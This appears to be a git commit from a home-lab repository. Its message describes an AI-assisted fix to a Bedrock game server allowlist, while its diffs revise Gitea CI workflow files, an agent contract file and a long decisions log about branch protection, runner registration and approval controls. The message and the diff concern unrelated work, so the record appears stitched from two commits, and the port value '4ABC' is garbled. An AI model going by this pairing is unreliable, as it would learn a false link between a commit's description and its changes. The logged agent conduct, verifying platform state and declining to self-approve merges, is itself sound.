docs(crafty): a player has joined -- the allowlist chain is closed, recommendation now PROVEN

Operator added one gamertag and the Bedrock client connected and joined. The
three-pass investigation closes with a working server, no manifest change, no
transport change, no network change.

Moved out of UNVERIFIED:

* A successful join -- OPERATOR-REPORTED (I did not watch it; the distinction is
  kept deliberately). Corroborated directly on disk, which is stronger than the
  report alone: allowlist.json went [] -> one entry, 75 bytes, and that entry's
  xuid is POPULATED (mtime 22:03:17). audit.log shows the operator wrote only the
  name (Edited file .../allowlist.json, 22:02:13). Vendor doc: xuid "will be
  populated when someone with a matching name connects". So the server wrote the
  XUID on connect, ~64s after the edit -- server-authored evidence of an
  XBL-authenticated join.
* The reasoned mapping of "You are not invited" to the empty allowlist is
  CONFIRMED: one gamertag added, one successful join. allow-list=true with
  allowlist.json == [] was the wall, and nothing else was.
* transport=raknet survives a restart: the fix involved one (pid 47006 -> 47875);
  afterwards server.properties mtime is still 21:33:31 with transport=raknet, UDP
  4ABC bound, still NO TCP 4ABC, and a fresh pong from 192.168.2.22:19132 at
  22:06.
* The operator's actual route was file-edit + restart (route 2), not the console
  `allowlist add` I listed first. Both proven; console still preferred (no restart).

README: join-gate section marked RESOLVED; decision heading and option 1 promoted
from provisional to PROVEN; Bedrock human-test 4 rewritten as a 5-step verified
connect procedure, each step with its distinct failure signature, stating plainly
that the TRANSPORT TYPE ERROR banner and the "too few fields" warning BOTH appear
on a fully working server -- that pair misled two consecutive sessions.

NOT weakened, and sharpened where possible:

* auto_start=0 / crash_detection=0 STILL 0, re-measured at 22:06 after the join
  and after the operator's 22:02:28 "modified the server" action, which did not
  change them. The failure mode is now worse, not better: "worked, then vanished".
  Merging fix/crafty-oauth2-proxy-signin is such a restart.
* Silent-reset now precisely characterised: a RESTART preserves both files
  (observed) but leaves the server down (auto_start=0); a server RECREATE or
  reinstall silently resets server.properties to transport=nethernet AND
  allowlist.json to [].
* L2/L3 conformance still uncertified; multi-player SNAT still untested (exactly
  one player has joined -- that is precisely the evidence that does not settle it);
  BDS console output still never seen (log_path is '').

No manifest touched, in any of the three passes. Read-only throughout.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

.gitea/workflows/README.md

@@ -40,9 +40,15 @@ and ADR-0011: **CI holds no broad kubeconfig.** L2/L3 run as an in-cluster **Cha
 *collects* its artifacts, using a narrow trigger credential referenced **by secret name only**
 (`secrets.CONFORMANCE_TRIGGER_KUBECONFIG`) — never a plaintext secret, never a cluster-admin kubeconfig.
 
-## Honest SKIP — never fake green (Phase 0)
+## Honest SKIP — never fake green
 
-**No cluster exists in Phase 0.** The gate is deliberately built so unavailable checks **SKIP loudly,
+**NOTE (2026-09-29):** this section is written in the past's voice — "Phase 0", "no cluster
+exists". **A cluster has existed for weeks** and Flux has been reconciling against it. The
+skip logic below is still correct and still honest, but read it as describing a **live
+coverage gap** (L2/L3 is not wired into CI) rather than an expected phase. Its being
+phrased as a phase is part of why the gap went unexamined.
+
+Originally: The gate is deliberately built so unavailable checks **SKIP loudly,
 they do not pass**:
 
 - The `conformance` job is `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}` — with no cluster it is
@@ -77,21 +83,29 @@ Both dirs are git-ignored (see [`.gitignore`](../../.gitignore)).
 ## Triggers & branch model (CONTRIBUTING.md)
 
 - `pull_request` → `main`: **PRs are the enforced merge gate into `main`.**
-- `push` → `feature/**`, `fix/**`, `docs/**`, `chore/**`: fast feedback on the branch. **No work on `main`.**
+- `push` → `main` only. The per-branch prefix list was removed: `act_runner` runs at capacity 1,
+  so a branch push fires a redundant run that serialises *ahead* of the PR run for the same tree.
+  **No work on `main`** — and since 2026-09-29 that is enforced, not conventional: `main` is a
+  protected branch and a direct push is rejected by the pre-receive hook (verified, not assumed).
 
-## Transition: generic-CI-now → Gitea-Actions-after-Gitea-is-up
+## Transition: COMPLETE (2026-09-29)
 
-Per [`CONTRIBUTING.md`](../../../home-network-k3s/CONTRIBUTING.md) and
-[`docs/05` §"local bootstrap → self-hosted Gitea"](../../../home-network-k3s/docs/05-gitops-and-delivery.md):
+This section used to describe a migration as pending. It has happened. Gitea is live at
+`gitea.home.keithjackson.dev`, the runner `incluster-dind` is registered and online, and
+`gate.yml` runs on every PR.
 
-1. **Now (interim):** there is **no remote git host** on this network. This workflow file is dormant —
-   but the **identical gate runs locally today** via `make -C ci gate` (R-TEST-02). Development is
-   local feature-branch → `main`, the gate enforced by convention + the local runner.
-2. **Gitea comes online early** (one of the first services onboarded) at `gitea.home.keithjackson.dev`.
-3. **CI moves to Gitea Actions:** this workflow activates unchanged. The only operational steps are
-   enabling a Gitea Actions runner and setting `vars.CLUSTER_AVAILABLE=true` +
-   `secrets.CONFORMANCE_TRIGGER_KUBECONFIG` once a dev/test cluster exists. PRs then become the
-   **platform-enforced** merge gate — the same no-work-in-main rule, now enforced by machine.
+**What took a month to notice:** the migration was recorded as done on 2026-08-31 without
+anyone checking the platform. In reality `main` had **no branch protection** and **zero
+runners were registered** until 2026-09-29. Every "the gate enforces this" statement in
+between rested on an assertion nobody verified. PR #1 — the first pull request this
+repository ever had — sat `pending` for 30.6 minutes because nothing existed to run it.
+
+So: **do not read this file, or the DECISIONS-LOG, as evidence about the live platform.**
+Query the API. `infra/gitea/` holds the scripts and the measured state.
+
+Still genuinely outstanding: `vars.CLUSTER_AVAILABLE` and
+`secrets.CONFORMANCE_TRIGGER_KUBECONFIG` are unset, so L2/L3 conformance does not run in
+CI. That is a real coverage gap, not a phase.
 
 ## Configuration (set in Gitea; referenced by name only)
 

.gitea/workflows/gate.yml

@@ -44,16 +44,31 @@
 ---
 name: gate
 
+# TRIGGERS — deliberately only `pull_request` into main, plus `push` to main itself.
+#
+# There is NO per-branch push trigger. There used to be a prefix list (feature/** fix/**
+# docs/** chore/**) for "fast feedback on the branch", and it was a net negative here:
+#
+#   * `act_runner` runs at capacity 1. A branch push and its PR fire the SAME gate over the
+#     SAME tree, and the redundant run SERIALISES AHEAD of the PR run — doubling the wall
+#     clock on the one result that actually gates the merge. That cost real time during the
+#     2026-09-29 plex claim, where the loop is racing a short-lived token.
+#   * The list silently did not match this repo's own convention. Branches here are `feat/**`,
+#     which was absent, so the "fast feedback" never fired for the most common prefix anyway —
+#     a mismatch nobody noticed for a month because its only symptom was a MISSING run.
+#     Any hand-maintained prefix list has that failure mode; deleting it removes the class.
+#   * It is redundant. CLAUDE.md already requires `./ci/gate.sh` in the pinned toolbox before
+#     you push (74s locally), and the PR gate re-runs it authoritatively. A third run of the
+#     same checks buys nothing.
+#
+# `push: [main]` is KEPT: post-merge main must still be verified, and it is the only run for
+# which no PR context exists.
 on:
   pull_request:
     branches: [main]
   push:
     branches:
       - main
-      - 'feature/**'
-      - 'fix/**'
-      - 'docs/**'
-      - 'chore/**'
 
 concurrency:
   group: gate-${{ github.ref }}
@@ -95,9 +110,27 @@ jobs:
       # UNVERIFIED and NAMED in the PASS headline, never faked green. GATE_STRICT_SKIPS + the
       # tolerated exit 3 are explained in the file header; the tolerance covers exactly one
       # thing, the unverifiable spec repo, and nothing else can produce a 3 here.
+      # GITEA_SETTINGS_TOKEN feeds ci/gitea-settings.sh, the only check that can see Gitea's
+      # OWN database (branch protection + runner registration) — the blind spot that let `main`
+      # sit unprotected with zero runners for a month while this repo recorded both as working.
+      # Referenced BY NAME only; create it with infra/gitea/set-ci-token.sh.
+      #
+      # WIDENED TOLERANCE, DECLARED: `|| [ "$?" -eq 3 ]` used to cover exactly one skip
+      # (spec-immutability). It now also covers gitea-settings skipping when that secret is
+      # absent. That is a deliberate, temporary weakening: making an unwired credential BLOCK
+      # every PR is the lock-yourself-out failure this repo keeps walking into. Once the secret
+      # exists and the stage has been SEEN green, set REQUIRE_GITEA_SETTINGS=true below and the
+      # tolerance narrows back to spec-immutability alone.
       - name: Merge gate — ci/gate.sh (what `make -C ci gate` runs)
         env:
           GATE_STRICT_SKIPS: "true"
+          SETTINGS_API_TOKEN: ${{ secrets.SETTINGS_API_TOKEN }}
+          # ENABLED 2026-09-29. A skip of gitea-settings now BLOCKS instead of degrading to
+          # UNDETERMINED. Safe because THIS PR's own CI run is the proof: if the stage were
+          # skipping, this line turns that into a failure and the PR goes red instead of
+          # merging. Green here means the token resolved and the live Gitea matched the
+          # declaration in infra/gitea/expected-branch-protection.json.
+          REQUIRE_GITEA_SETTINGS: "true"
         run: ./ci/gate.sh || [ "$?" -eq 3 ]
 
       # NOTE: no actions/upload-artifact step. Gitea Actions rejects upload-artifact@v4

.gitea/workflows/merge-gate.yaml

@@ -11,11 +11,14 @@
 #                                          v
 #                                     merge-gate decision  [R-TEST-03: touched subset green]
 #
-# Transition (CONTRIBUTING.md / docs/05 §"local bootstrap -> self-hosted Gitea"):
-# Today there is no Gitea host, so this file is dormant. The SAME gate is runnable
-# now via `make -C ci gate` (R-TEST-02). Once Gitea is self-hosted and Gitea
-# Actions is enabled, this workflow becomes the ENFORCED PR merge gate into main —
-# no code change required, only turning on the runner and setting CLUSTER_AVAILABLE.
+# STATUS (corrected 2026-09-29): Gitea IS hosted and Gitea Actions IS enabled; the runner
+# `incluster-dind` is online and gate.yml is the live PR gate. The text that used to sit here
+# ("Today there is no Gitea host, so this file is dormant") was stale by weeks -- it was written
+# as a plan and never revisited once the plan completed.
+#
+# THIS file is still dormant, but for the reason in the DORMANT block below -- its spec checkout
+# and L2/L3 seams are unwired -- NOT because there is no host. Do not read a stale plan as a
+# statement about the live platform; query the API instead (see infra/gitea/).
 #
 # CI holds NO broad kubeconfig. L2/L3 run as an in-cluster Chainsaw Job whose own
 # scoped ServiceAccount holds cluster access (docs/14, R-SEC-02); CI uses only a

CLAUDE.md

@@ -23,28 +23,58 @@ There is no other path. Specifically:
 > (main is what the cluster follows), not what you are permitted to do. Honour this
 > file, not that line. Fixing those runbooks is tracked work.
 
-## 2. Enforcement is currently WEAKER than this rule. Follow the rule anyway.
+## 2. Enforcement (as of 2026-09-29: the rule is now MACHINE-ENFORCED)
 
 Verified against the live Gitea on 2026-09-29:
 
 | Expected | Actual |
 |---|---|
-| `main` protected, direct push rejected | **No branch protection.** `protected: false`, `user_can_push: true` |
-| PR blocked until the gate passes | **`enable_status_check: false`**, `status_check_contexts: []` |
-| Gate runs on every PR | **Fixed 2026-09-29.** Runner `incluster-dind` is online; `gate / gate (pull_request)` runs and passes in ~1m30s–2m |
-| Approval required before merge | **`required_approvals: 0`** |
+| `main` protected, direct push rejected | ✅ `protected: true`, `user_can_push: false` — **verified by a real rejected push**, not by the API's word |
+| PR blocked until the gate passes | ✅ `enable_status_check: true`, context `gate / gate (pull_request)` |
+| Gate runs on every PR | ✅ runner `incluster-dind` online; ~1m35s |
+| Approval required before merge | ✅ `required_approvals: 1` |
 
-So nothing mechanically stops you from pushing to `main` right now. **That is a gap
-being closed, not permission.** `DECISIONS-LOG.md` (2026-08-31) claimed the gate was a
-"required status check" with a runner online; neither was true, which is how this went
-unnoticed for a month. The runner half is now genuinely fixed and observed green. The
-protection half is not — see `infra/gitea/`.
+All four were FALSE as recently as 2026-09-29, while this repo's own log asserted they were
+true. They are true now because each was measured, and the push rejection was provoked rather
+than assumed. **Re-measure before relying on any of them** — see §2b.
+
+Still not covered: `vars.CLUSTER_AVAILABLE` is unset, so **L2/L3 conformance does not run in
+CI**. A green PR therefore proves the L0/L1 offline subset, not runtime behaviour.
 
 **Consequence for you:** CI now runs, but it does not yet *block* anything. Always run
 the toolbox gate yourself and quote its numbers. Never describe a PR as "green" on the
 strength of a check you have not seen report — and note that a **skipped** Gitea job
 reports as `success`, so a green tick is not by itself evidence that anything ran.
 
+## 2b. Never infer platform state from this repository
+
+**This repo is not evidence about the live platform.** Neither is `DECISIONS-LOG.md`.
+Both describe what someone believed at the time of writing, and both have been
+confidently wrong for a month at a stretch.
+
+On 2026-09-29 the log stated the merge gate was a required status check with a runner
+online. The API said `branch_protections: []` and **zero** runners. Everything downstream
+of that belief — "the gate enforces this", "your push would be rejected", "CI covers it" —
+was wrong, and nothing in the tree could have revealed it, because the tree was the source
+of the error.
+
+**So, before asserting that any gate, protection, runner, secret, or workload is in a
+given state: query the thing itself.**
+
+| Claim about... | Check |
+|---|---|
+| branch protection / required checks | `GET /api/v1/repos/{owner}/{repo}/branches/main` |
+| a runner exists | `GET /api/v1/admin/actions/runners` |
+| CI actually ran | the commit's `/statuses` — and read the **description**; a *skipped* Gitea job reports `success` with "Has been skipped" |
+| a workload / Secret / env | `kubectl --context k3s-prod ...` (read-only is fine for agents) |
+| Flux applied your commit | compare `.status.lastAppliedRevision` against the GitRepository's artifact revision |
+
+Quote the measured field, not the prose. If you cannot measure it, say so explicitly —
+"unverified" is a legitimate report, and a far better one than a confident guess that
+matches the docs.
+
+**A green tick is not proof anything ran.** Read what actually executed.
+
 ## 3. Gate before you push
 
     ./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'

DECISIONS-LOG.md

@@ -1192,6 +1192,13 @@ fresh agent should read this entry + `infra/PHASE1-STATUS.md` + `docs/plans/` an
   Platform-admins require TOTP MFA.
 - **Gitea Actions CI is LIVE + enforcing**: `.gitea/workflows/gate.yml` runs `make -C ci gate` on push/PR to main;
   required status check; runner `incluster-dind` online (ns gitea-actions).
+  > **[CORRECTION, 2026-09-29 — THIS BULLET WAS FALSE WHEN WRITTEN AND STAYED FALSE FOR A MONTH.]**
+  > Measured against the live Gitea API on 2026-09-29: `branch_protections` returned `[]` (`main`
+  > `protected:false`, `enable_status_check:false`, `user_can_push:true`) and **zero** Actions runners
+  > were registered at repo, org or site level. The gate was neither enforced nor able to run. PR #1
+  > — the first pull request this repo ever had — was opened on 2026-09-29 and sat `pending` for
+  > 30.6 minutes with nothing to execute it. Both halves of this bullet were asserted, not verified.
+  > See the 2026-09-29 entries for the root cause and the fix.
 
 ### What changed this session (durable)
 1. **SSO cluster-wide break→fix — root cause Cilium CVE-2025-30162.** The 1.16→1.20 security fix makes the shared
@@ -4781,3 +4788,933 @@ accurate before the PR flow and are stale now. Correcting them is tracked, not d
 3. Land `feat/plex-claim-sops-secret` (PR #1) once the gate can actually run.
 4. Claim plex, after checking it is not already claimed.
 5. Correct the 37 runbooks' `git push origin main` wording.
+
+## 2026-09-29 — Plex is claimed; the CI/CD gate that "enforced" it never existed. **PM HANDOFF.**
+
+Began as "inject a plex.tv claim token". Ended by discovering the delivery pipeline was fiction,
+rebuilding it, and shipping the token through it. Plex is **claimed** — `PlexOnlineToken` is
+present in `/config` on the `plex-config` PVC, so the exchange is now a permanent no-op and the
+library scan is running over the 8.33T NFS share.
+
+### The finding: both halves of the 2026-08-31 CI claim were false
+
+That entry recorded "Gitea Actions CI is LIVE + enforcing … required status check; runner
+`incluster-dind` online". Measured against the live API on 2026-09-29:
+
+| Claimed | Measured |
+|---|---|
+| `main` protected, gate required | `branch_protections` → `[]`; `protected:false`, `enable_status_check:false`, `required_approvals:0`, `user_can_push:true` |
+| Runner online | **zero** runners at repo, org AND site level |
+
+**PR #1 was the first pull request this repository has ever had.** Its contexts sat `pending`
+for 30.6 minutes across 122 polls and never reported. For a month, every "the gate enforces this"
+statement rested on an assertion nobody had checked — the same fail-open class as 2026-09-18,
+and the reason it hid so long is that the log itself was the evidence.
+
+### Root cause of the dead runner
+
+`act_runner` registers **once** and persists its identity in `/data/.runner` on the
+`act-runner-data` PVC. Gitea no longer held a matching row, so the pod booted, saw `.runner`,
+**skipped registration**, and polled with an identity Gitea did not recognise. Symptom: zero
+runners, pod Running, nothing crashlooping, no error anyone reads. Deleting the PVC forced a
+genuine re-registration (`.runner is missing` → `Runner registered successfully`).
+
+It then did not come back for several minutes, because Flux could not recreate the PVC:
+`apps-wave-1` was blocked four levels deep on a **stale** `DependencyNotReady` for
+`platform-config`, which itself read `Ready=True`. Each wave re-evaluates only on its own
+`interval: 10m`, so a resource deleted at the bottom of the chain can take ~40 min to return.
+**Force it** with `flux reconcile kustomization apps-wave-1 --with-source` rather than waiting.
+
+### Corrections to things this log and the runbooks asserted
+
+- **A skipped Gitea job reports `success`, not pending.** Measured: `gate / conformance` returned
+  `success` / "Has been skipped". An earlier entry (#2) said requiring it would deadlock every PR.
+  Wrong — it would pass **vacuously**, forever, while nothing ran. Under HARD RULE 4 that is worse
+  than a deadlock, because a deadlock is loud. Never require it; require
+  `gate / gate (pull_request)` alone. Corrected in #3.
+- **`gate.yml`'s push trigger omits `feat/**`** (it lists `feature/** fix/** docs/** chore/**`).
+  With `act_runner` capacity 1, a branch prefix that IS in that list fires a second redundant run
+  which serialises ahead of the PR run and doubles wall-clock. Exploited deliberately in
+  `infra/plex/claim-ship.sh`; the honest fix is to align the trigger list.
+- **The "~4-minute TTL"** asserted in four places was **uncited**, and upstream `pms-docker`
+  documents no expiry at all. The authoritative reading is the countdown plex.tv/claim renders at
+  issue time. Removed from `runbooks/plex-claim.md`; the same claim still sits in
+  `catalog/plex.yaml` and the Secret's header comment (left alone — editing a `.sops.yaml`
+  comment risks the MAC, and touching `catalog/plex.yaml` re-renders a golden).
+
+### Measured, once the pipeline actually worked
+
+`gate / gate (pull_request)` 1m34s–1m58s. Full claim loop end to end **~2m45s** — comfortably
+inside the window, which retires the theory that a short-lived token cannot survive a PR flow.
+That theory was mine and it was wrong: the pipeline was never too slow, it simply did not exist.
+
+### State now
+
+- `main` **protected**, `user_can_push:false`. Runner `incluster-dind` online.
+- `CLAUDE.md` is the agent delivery contract; `infra/gitea/` holds the protection + runner scripts.
+- **All 37 runbooks** that instructed `git push origin main` now describe the PR flow — that
+  instruction had become actively blocked, not merely stale.
+- `infra/plex/claim-ship.sh` drives the claim loop end to end.
+
+### Next steps
+
+1. **`enable_status_check: true`** with `gate / gate (pull_request)` as the only context. The
+   prerequisite is met: the gate has been observed green on real PRs.
+2. Add `jakman85` as a repo **collaborator**, then `required_approvals: 1`. (Currently the only
+   org member is `gitea-admin`, which agents authenticate as — requiring approval before that is
+   fixed would leave nobody able to approve.)
+3. Run the **push probe** against protection: `gitea-admin` is a site admin and Gitea may let it
+   bypass. `user_can_push:false` is the API's opinion, not proof.
+4. Align `gate.yml`'s push trigger with this repo's `feat/**` prefix.
+5. Convert the `dind` container to a **native sidecar** with a `startupProbe`, per the standing
+   FOLLOW-UP note in `apps/wave-1/gitea-actions.yaml`. It deletes both hand-rolled wait loops and
+   the envsubst hazard. Land it ALONE — it is the merge gate for the whole repo.
+6. Create the Plex libraries over `/media/movies`, `/media/tv`, `/media/photos`.
+
+## 2026-09-29 (later) — the merge gate is now real, enforced, and proven. **PM HANDOFF.**
+
+Closes the gap opened by the earlier entry today. Eight PRs, all gated; every claim below was
+measured against the live API or cluster, not inferred from this repository.
+
+### Final state
+
+| | Verified |
+|---|---|
+| `main` protected | `protected:true`, `user_can_push:false` — and a direct push as site-admin `gitea-admin` was **provoked and rejected** (`pre-receive hook declined`) |
+| Gate required | `enable_status_check:true`, contexts `["gate / gate (pull_request)"]` |
+| Approvals | `required_approvals:1`; `jakman85` holds `owner` |
+| Runner | `incluster-dind` online, now a **native sidecar** (`initContainers`, `restartPolicy: Always`, TLS-verified `docker info` startupProbe) |
+| Gate time | ~1m35s |
+| Plex | claimed 2026-09-29; `PlexOnlineToken` present on the `plex-config` PVC |
+
+### What was corrected in the documentation
+
+`CLAUDE.md` §2b — *never infer platform state from this repository* — is the durable outcome.
+The 2026-08-31 entry asserting an enforced gate is now annotated **in place**. The "Phase 0 /
+no cluster exists" framing across `ci/`, `clusters/` and `conformance/` READMEs is banner-marked
+as describing a live gap rather than a stage. All 37 runbooks now describe the PR flow. Two
+`.sops.yaml` headers and `catalog/plex.yaml` were corrected (comment edits verified not to break
+the SOPS MAC, and not to move the rendered golden).
+
+### A claim of mine that shipped wrong, and is now corrected in place
+
+PR #7 stated the sidecar conversion would remove the one-per-start dockerd line
+`http: TLS handshake error from 127.0.0.1: EOF`. **It does not.** Exactly one still appears,
+immediately after `API listen on [::]:2376` — it is now the startupProbe's first attempt,
+landing microseconds after dockerd begins listening and cut off by `timeoutSeconds: 1`; the
+next poll succeeds. Cosmetic, and deliberately not chased: raising the timeout to hide one
+benign startup line would slow every subsequent poll. The manifest comment now says so.
+
+### The root cause nobody has fixed yet
+
+Gitea's repo settings live in its own database — invisible to Flux and unreadable by the
+conformance gate. **No check exists that could have caught "protection off, runner gone."**
+`infra/gitea/` declares and can re-assert the desired state, but it is not a detector. A
+conformance check that reads the live Gitea API and fails on divergence is the highest-value
+remaining work in this repo, and it is the difference between this having been fixed and this
+being unable to recur.
+
+### Next steps
+
+1. **Write that Gitea-settings conformance check.** Everything else here is a symptom.
+2. Wire `vars.CLUSTER_AVAILABLE` + `secrets.CONFORMANCE_TRIGGER_KUBECONFIG` so **L2/L3 runs in
+   CI**. A green PR currently proves the L0/L1 offline subset only — runtime behaviour is
+   unverified on every merge.
+3. Re-run `infra/gitea/verify-then-enforce.sh` after any future act-runner change.
+4. `required_approvals: 1` means a PR you open as `jakman85` needs `gitea-admin` to approve.
+   If that friction bites, either open agent work as `gitea-admin` and review as `jakman85`, or
+   drop back to relying on the status check alone.
+
+## 2026-09-29 (later still) — the enforcement we "turned on" was overridable by the account that merges
+
+`enable_status_check: true` and `required_approvals: 1` were set earlier today and recorded as
+done. **They did not bite.** `block_admin_merge_override` was `false`, and Gitea lets repository
+admins override merge requirements without it. `jakman85` holds `owner`, so both requirements
+were bypassable by exactly the account that performs every merge.
+
+**The evidence was already on the record and nobody read it:** PRs #5, #6, #7, #8 and #9 all
+merged while `required_approvals: 1` was in force, with **zero approvals recorded on any of
+them**. A one-line check (`/pulls/{n}/reviews`) would have shown it at any point.
+
+Two process failures, both mine, both the same shape as the original defect:
+
+1. **I verified with the wrong view.** `/branches/main` reports `protected`,
+   `enable_status_check` and `required_approvals` but NOT `block_admin_merge_override`. It
+   showed everything green while the rule was overridable. The authoritative object is
+   `/branch_protections/main` — read it and enumerate its keys.
+2. **I probed for a field name I assumed existed.** This Gitea (1.24.3) has no
+   `apply_to_admins`. Asking `jq` for it returns `null`, which reads exactly like "set to
+   false" but means "key absent" — so a PATCH that silently did nothing looked like a real
+   before/after. **`jq` returning null is not a value; it may be an absence.** Enumerate with
+   `to_entries`.
+
+Now `block_admin_merge_override: true`, applied and read back. `infra/gitea/require-gate.sh`
+sets it, and `infra/gitea/block-admin-override.sh` fixes it in isolation.
+
+**This is still only a setting.** It is proven when a green PR is REFUSED a merge until
+approved — and that has not been observed yet. This PR is the test: if it merges without an
+approval, the fix did not work and the finding stands.
+
+### The governance question this exposes
+
+There are two accounts: `jakman85` (owner, the human) and `gitea-admin` (the agent). With
+approvals now genuinely required, an agent-authored PR is approved by the human — which is the
+intent. But a PR authored by `jakman85` needs `gitea-admin` to approve it, i.e. the automation
+account rubber-stamping the human. That is ceremony, not review. Options: keep it and accept
+the ceremony; drop `required_approvals` to 0 and rely on the status check, which is the gate
+that actually verifies something; or add a second human account. **This is a decision for the
+operator, not a default to be chosen silently.**
+
+## 2026-09-29 (end of session) — **PM HANDOFF.** Six PRs open; read this before touching anything.
+
+The session that began "set a SOPS secret" ended having rebuilt the delivery pipeline. Plex is
+claimed and scanning. `main` is genuinely protected and the gate genuinely enforces. What is
+open is listed below with the reason each is not merged.
+
+### MERGE THESE — both gated green
+
+| PR | What | Risk |
+|---|---|---|
+| #12 | `CLUSTER_AVAILABLE=true` would have FAKED A GREEN over 54 skipped tests — now blocks | low; makes a wrong state loud |
+| #13 | Admission boundary constraining the conformance CI trigger (R-SEC-02) + a fail-open fix in `ci/l0.sh` | medium; touches Kyverno + adds a Flux Kustomization |
+
+(#11, the Gitea drift detector, was merged during this session — hence the action below.)
+
+Order does not matter for correctness; if a later one conflicts, rebase and the gate re-runs
+(~1m35s in CI, 76s local). **Each was gated in the pinned toolbox, not on a host.**
+
+### DO THIS FIRST — #11 is merged and its detector is currently INERT
+
+`ci/gitea-settings.sh` SKIPS until its token exists, and **a skipped detector detects nothing**:
+
+    ./infra/gitea/set-ci-token.sh          # mints + stores GITEA_SETTINGS_TOKEN, never prints it
+
+Then open any PR and confirm the gate prints `gitea-settings: green`. ONLY THEN uncomment
+`REQUIRE_GITEA_SETTINGS: "true"` in `.gitea/workflows/gate.yml`, so a future missing token blocks
+instead of skipping. Doing that before seeing it green locks the repo.
+
+Until then every gate run ends `MERGE GATE: UNDETERMINED` (exit 3) naming `gitea-settings` as
+unrun. That is BY DESIGN and `gate.yml` tolerates exit 3, so PRs still pass — but it is not a
+green run, and it is saying so honestly. The token is what turns it green.
+
+### A DIFFERENT COMPUTER NEEDS THREE THINGS THAT ARE NOT IN GIT
+
+This is the part that will silently waste an hour otherwise. None of these are in the repo, by
+design, and without them the toolbox and the cluster are unreachable:
+
+1. **`~/.config/sops/age/keys.txt`** — the age PRIVATE key. Without it NO `*.sops.yaml` can be
+   read or edited, and `sops` will fail in a way that looks like a broken file. Copy it from this
+   workstation; the public recipient in `.sops.yaml` is only half the pair.
+2. **`infra/ansible/.cache/prod.kubeconfig`** — untracked, so it exists only in the main checkout
+   on this machine. Without it `dev.sh` refuses to start. In a git WORKTREE it is absent even
+   here: use `DEV_KUBECONFIG=/dev/null` for anything that needs no cluster (see `CLAUDE.md` §3).
+3. **A Gitea credential** for `gitea.home.keithjackson.dev` (this session used the stored
+   `~/.git-credentials`). `git push` and every `infra/gitea/*.sh` script needs it.
+
+### STATE, MEASURED — do not re-derive it from this log, re-measure it
+
+`CLAUDE.md` §2b exists because this log was confidently wrong for a month. Verify before relying:
+
+    protected:true  user_can_push:false  enable_status_check:true
+    status_check_contexts:["gate / gate (pull_request)"]  required_approvals:1
+    block_admin_merge_override:true      runner incluster-dind: online      gate ~1m35s
+
+### NEXT WORK, in priority order
+
+1. **Finish the L2/L3 wiring** now that the credential model is decided and #13 lands the
+   boundary. Still missing (`docs/plans/l2-l3-conformance-ci-wiring.md` §3): a runner image with
+   bash/python3/kubectl/git/chainsaw, an init-container cloning the repo at the PR SHA, results
+   collection via a base64 tar on stdout, and the `ci/conformance.sh` rewrite to drive the Job.
+   **Tighten the admission policy's image pattern to the literal digest when that image exists.**
+2. **Do NOT set `vars.CLUSTER_AVAILABLE=true`** until step 1 is done. It does not enable L2/L3; it
+   only changes which way the stage fails (see #12).
+3. The `gitea-settings` detector covers branch protection + runners. It does NOT yet cover Gitea
+   Actions **variables and secrets** — the next-nearest invisible surface.
+4. `required_approvals: 1` with two accounts means a PR authored by `jakman85` needs `gitea-admin`
+   to approve. The operator holds ultimate authority and does not require that review; revisit if
+   it becomes friction.
+
+### THE LESSON, because it caused every finding here
+
+Four times this session the repository was treated as evidence about the live platform, and four
+times it was wrong: the push that would "be rejected" (it would not have been), the token that
+"could not survive the pipeline" (~2m45s, it fits), the required check that would "deadlock" (a
+skipped Gitea job reports SUCCESS), and enforcement that was "on" (admins overrode it). Two
+fail-opens in the gate itself were found the same way — `kyverno test` certifying policies that do
+not load, and `CLUSTER_AVAILABLE` certifying 54 skipped tests as passed.
+
+**Measure, then assert. `CLAUDE.md` §2b is the rule; this entry is the evidence for it.**
+
+## 2026-09-29 (addendum, unattended) — the detector is armed; **I CANNOT MERGE, and that is correct**
+
+Operator ran `set-ci-token.sh`, uncommented `REQUIRE_GITEA_SETTINGS` locally on `main`, and left
+instructions to continue unattended and merge on green CI. Two things came out of that.
+
+### 1. The detector was INERT, and would have stayed inert silently
+
+`set-ci-token.sh` PUT the secret as `GITEA_SETTINGS_TOKEN`. **Gitea reserves the `GITEA_`
+prefix** for secret names (as GitHub reserves `GITHUB_`) and rejected it:
+
+    HTTP 400  {"message":"invalid secret name"}
+
+The script sent that PUT to `/dev/null` and printed `==> stored.` unconditionally; `curl -sS`
+exits 0 on an HTTP error. **A token existed; no secret did.** So `ci/gitea-settings.sh` would
+have skipped on every run forever — and enabling `REQUIRE_GITEA_SETTINGS` on top of that would
+have BLOCKED EVERY PR, including the one fixing it. That is the exact lock-out this repo has now
+nearly walked into three times.
+
+Fixed in **PR #15**: the secret is `SETTINGS_API_TOKEN`, and `set-ci-token.sh` now checks the HTTP
+status AND reads the secret back before claiming success. The missing verification was the real
+defect; the illegal name is only what it hid. The secret is stored and verified present, and
+**PR #15's CI is GREEN with `REQUIRE_GITEA_SETTINGS=true`** — which is the only proof that
+matters, because a skip would have made it red.
+
+The operator's local edit could not be pushed to `main` (protected). It is carried in PR #15.
+
+### 2. No agent-authored PR can be merged without the operator — by design
+
+Merging PR #12 as `gitea-admin` returned:
+
+    HTTP 405  {"message":"Does not have enough approvals"}
+
+`required_approvals: 1` + `block_admin_merge_override: true` + two accounts, one of which
+(`gitea-admin`) authors every agent PR and cannot self-approve. **So "merge on green CI" is not
+something an agent can execute here.** That is the control working, not a fault — and it was
+deliberately not circumvented. Self-approving would hollow out the boundary that was just built
+and verified.
+
+**This is an operator decision, not a bug to fix:** either accept that every agent PR waits for a
+human approval (the honest reading of the control), or add a second human reviewer account, or
+lower `required_approvals` to 0 and rely on the status check — which is the gate that actually
+verifies something. Whichever, change the DECLARATION in
+`infra/gitea/expected-branch-protection.json` in the same commit, or `gitea-settings` will
+correctly fail the gate on the drift.
+
+### Open PRs, all gated green, none mergeable by an agent
+
+| PR | What |
+|---|---|
+| #12 | `CLUSTER_AVAILABLE=true` would have faked a green over 54 skipped tests — now blocks |
+| #13 | Conformance-trigger admission boundary (R-SEC-02) + `kyverno test` fail-open fix |
+| #14 | This handoff |
+| #15 | Secret-name fix + `REQUIRE_GITEA_SETTINGS` enabled — **CI green with REQUIRE active** |
+
+Suggested order: #15 first (it arms the detector and its CI already proved it), then #12, #13,
+#14. If a later one conflicts, rebase; the gate re-runs in ~1m36s.
+
+### Deliberately NOT done while unattended
+
+No new feature work was started. Five unmerged PRs already stack review burden, and building the
